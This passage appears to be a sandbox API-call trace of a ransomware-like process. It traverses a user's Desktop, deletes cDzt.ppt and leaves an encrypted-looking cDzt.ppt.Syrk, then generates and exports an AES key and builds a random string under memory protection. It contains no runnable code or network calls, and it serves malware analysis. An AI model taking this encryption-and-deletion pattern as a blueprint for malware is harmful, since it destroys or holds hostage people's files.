"c:\\users")) returned 0x11 [0193.062] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0193.062] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0193.062] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0193.062] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0193.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0193.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0193.063] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0193.063] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0193.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0193.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0193.064] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0193.064] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0193.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0193.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0193.064] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0193.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0193.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0193.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0193.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0193.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0193.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0193.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0193.070] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0193.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0193.070] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0193.070] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0193.071] CoTaskMemFree (pv=0x5c632d0) [0193.074] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0193.074] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0193.074] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0193.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0193.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt"), fInfoLevelId=0x0, lpFileInformation=0x24cc10c | out: lpFileInformation=0x24cc10c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7f59e0, ftCreationTime.dwHighDateTime=0x1d997d0, ftLastAccessTime.dwLowDateTime=0x149e1a40, ftLastAccessTime.dwHighDateTime=0x1d99c76, ftLastWriteTime.dwLowDateTime=0x149e1a40, ftLastWriteTime.dwHighDateTime=0x1d99c76, nFileSizeHigh=0x0, nFileSizeLow=0x54ca)) returned 1 [0193.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0193.076] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 1 [0193.084] EtwEventActivityIdControl () returned 0x0 [0193.087] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.087] EtwEventActivityIdControl () returned 0x0 [0193.088] EtwEventActivityIdControl () returned 0x0 [0193.088] EtwEventActivityIdControl () returned 0x0 [0193.186] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt.syrk")) returned 0x20 [0193.189] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt.syrk")) returned 0x20 [0193.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0193.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk", lpFilePart=0x0) returned 0x36 [0193.189] EtwEventActivityIdControl () returned 0x0 [0193.191] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.192] EtwEventActivityIdControl () returned 0x0 [0193.192] EtwEventActivityIdControl () returned 0x0 [0193.192] EtwEventActivityIdControl () returned 0x0 [0193.204] EtwEventActivityIdControl () returned 0x0 [0193.205] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.206] EtwEventActivityIdControl () returned 0x0 [0193.206] EtwEventActivityIdControl () returned 0x0 [0193.206] EtwEventActivityIdControl () returned 0x0 [0193.267] EtwEventActivityIdControl () returned 0x0 [0193.267] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.267] EtwEventActivityIdControl () returned 0x0 [0193.268] EtwEventActivityIdControl () returned 0x0 [0193.268] EtwEventActivityIdControl () returned 0x0 [0193.275] EtwEventActivityIdControl () returned 0x0 [0193.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.276] EtwEventActivityIdControl () returned 0x0 [0193.276] EtwEventActivityIdControl () returned 0x0 [0193.277] EtwEventActivityIdControl () returned 0x0 [0193.284] EtwEventActivityIdControl () returned 0x0 [0193.285] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.285] EtwEventActivityIdControl () returned 0x0 [0193.285] EtwEventActivityIdControl () returned 0x0 [0193.285] EtwEventActivityIdControl () returned 0x0 [0193.293] EtwEventActivityIdControl () returned 0x0 [0193.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0193.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24d6a3c | out: lpFileInformation=0x24d6a3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8f2fb0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xef8f2fb0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xef926400, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x54e4)) returned 1 [0193.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0193.396] GetConsoleOutputCP () returned 0x1b5 [0193.396] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0193.397] GetConsoleOutputCP () returned 0x1b5 [0193.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0193.397] GetConsoleOutputCP () returned 0x1b5 [0193.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.397] GetConsoleOutputCP () returned 0x1b5 [0193.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.397] GetConsoleOutputCP () returned 0x1b5 [0193.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0193.398] GetConsoleOutputCP () returned 0x1b5 [0193.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0193.398] GetConsoleOutputCP () returned 0x1b5 [0193.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.398] GetConsoleOutputCP () returned 0x1b5 [0193.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.399] GetConsoleOutputCP () returned 0x1b5 [0193.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0193.399] GetConsoleOutputCP () returned 0x1b5 [0193.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0193.399] GetConsoleOutputCP () returned 0x1b5 [0193.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.399] GetConsoleOutputCP () returned 0x1b5 [0193.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.400] GetConsoleOutputCP () returned 0x1b5 [0193.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0193.400] GetConsoleOutputCP () returned 0x1b5 [0193.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0193.400] GetConsoleOutputCP () returned 0x1b5 [0193.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.400] GetConsoleOutputCP () returned 0x1b5 [0193.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0193.401] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0193.402] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0193.403] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24f0784*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x24f0784*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0193.403] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0193.404] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0193.407] EtwEventActivityIdControl () returned 0x0 [0193.408] EtwEventActivityIdControl () returned 0x0 [0193.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.410] EtwEventActivityIdControl () returned 0x0 [0193.410] EtwEventActivityIdControl () returned 0x0 [0193.410] EtwEventActivityIdControl () returned 0x0 [0193.414] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.416] EtwEventActivityIdControl () returned 0x0 [0193.416] EtwEventActivityIdControl () returned 0x0 [0193.416] EtwEventActivityIdControl () returned 0x0 [0193.419] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cee0) returned 1 [0193.424] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69440) returned 1 [0193.424] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0193.424] CryptExportKey (in: hKey=0x5c69440, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0193.424] CryptExportKey (in: hKey=0x5c69440, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24f8470, pdwDataLen=0x5a2e79c | out: pbData=0x24f8470*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0193.425] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.426] EtwEventActivityIdControl () returned 0x0 [0193.426] EtwEventActivityIdControl () returned 0x0 [0193.426] EtwEventActivityIdControl () returned 0x0 [0193.427] SysStringLen (param_1="") returned 0x8 [0193.427] SysStringLen (param_1="v") returned 0x8 [0193.427] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.508] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0193.508] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0193.508] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.508] SysStringLen (param_1="vH") returned 0x8 [0193.508] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.508] SysStringLen (param_1="난驇鋷腁㟊᪵܀") returned 0x8 [0193.508] SysStringLen (param_1="난驇鋷腁㟊᪵܀") returned 0x8 [0193.508] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.508] SysStringLen (param_1="vHg") returned 0x8 [0193.508] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.508] SysStringLen (param_1="咬硜횲᳴촖\䋛⊇) returned 0x8 [0193.508] SysStringLen (param_1="咬硜횲᳴촖\䋛⊇) returned 0x8 [0193.509] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.509] SysStringLen (param_1="vHgI") returned 0x8 [0193.509] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.509] SysStringLen (param_1="蕜낟̿Ỡೃ僮ࣔ铟") returned 0x8 [0193.509] SysStringLen (param_1="蕜낟̿Ỡೃ僮ࣔ铟") returned 0x8 [0193.509] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.509] SysStringLen (param_1="vHgIB") returned 0x8 [0193.509] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.510] SysStringLen (param_1="翌ꉲ\⣜゙筡您鉔⊰) returned 0x8 [0193.510] SysStringLen (param_1="翌ꉲ\⣜゙筡您鉔⊰) returned 0x8 [0193.510] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.510] SysStringLen (param_1="vHgIBp") returned 0x8 [0193.510] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.510] SysStringLen (param_1="벆鱴蹾⯏齻术淇") returned 0x8 [0193.510] SysStringLen (param_1="벆鱴蹾⯏齻术淇") returned 0x8 [0193.510] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.510] SysStringLen (param_1="vHgIBpF") returned 0x8 [0193.510] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.510] SysStringLen (param_1="졜υ\苜槛屋㓹ꢛ≂) returned 0x8 [0193.510] SysStringLen (param_1="졜υ\苜槛屋㓹ꢛ≂) returned 0x8 [0193.510] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.511] SysStringLen (param_1="vHgIBpFI") returned 0x8 [0193.511] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.511] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ") returned 0x8 [0193.512] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ") returned 0x8 [0193.512] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ") returned 0x8 [0193.512] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ") returned 0x10 [0193.512] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.512] SysStringLen (param_1="vHgIBpFI2⿮藗⠋꽣麺쪬") returned 0x10 [0193.512] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.512] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗﰊ摘縠鏎¦㾧顷װ") returned 0x10 [0193.513] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗﰊ摘縠鏎¦㾧顷װ") returned 0x10 [0193.513] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.513] SysStringLen (param_1="vHgIBpFI2W藗⠋꽣麺쪬") returned 0x10 [0193.513] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.513] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ労닆목牘੣眑쾏\⋝) returned 0x10 [0193.513] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ労닆목牘੣眑쾏\⋝) returned 0x10 [0193.513] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.513] SysStringLen (param_1="vHgIBpFI2WX⠋꽣麺쪬") returned 0x10 [0193.513] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.513] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ海仛앯፬\寛⡱∭) returned 0x10 [0193.513] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ海仛앯፬\寛⡱∭) returned 0x10 [0193.514] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.514] SysStringLen (param_1="vHgIBpFI2WXA⠋꽣麺쪬") returned 0x10 [0193.514] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.514] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ랈䶼ꖏㅙ♩唎뀣駬") returned 0x10 [0193.514] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ랈䶼ꖏㅙ♩唎뀣駬") returned 0x10 [0193.514] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.514] SysStringLen (param_1="vHgIBpFI2WXAY꽣麺쪬") returned 0x10 [0193.514] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.514] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ᝚澚舄౸횖") returned 0x10 [0193.514] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ᝚澚舄౸횖") returned 0x10 [0193.514] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.515] SysStringLen (param_1="vHgIBpFI2WXAYf麺쪬") returned 0x10 [0193.515] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.515] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ헆処봓˥︪ힴ") returned 0x10 [0193.515] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ헆処봓˥︪ힴ") returned 0x10 [0193.515] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.515] SysStringLen (param_1="vHgIBpFI2WXAYfu쪬") returned 0x10 [0193.515] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.515] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ㢣魦ꚠꡅ晋ﻚ\⋜) returned 0x10 [0193.515] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ㢣魦ꚠꡅ晋ﻚ\⋜) returned 0x10 [0193.515] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.515] SysStringLen (param_1="vHgIBpFI2WXAYfup") returned 0x10 [0193.516] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.516] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚") returned 0x10 [0193.516] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚") returned 0x10 [0193.516] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚") returned 0x10 [0193.516] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚") returned 0x18 [0193.516] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.516] SysStringLen (param_1="vHgIBpFI2WXAYfupt椞代㑳儴ꔀଏৡ") returned 0x18 [0193.516] SystemFunction040 (in: 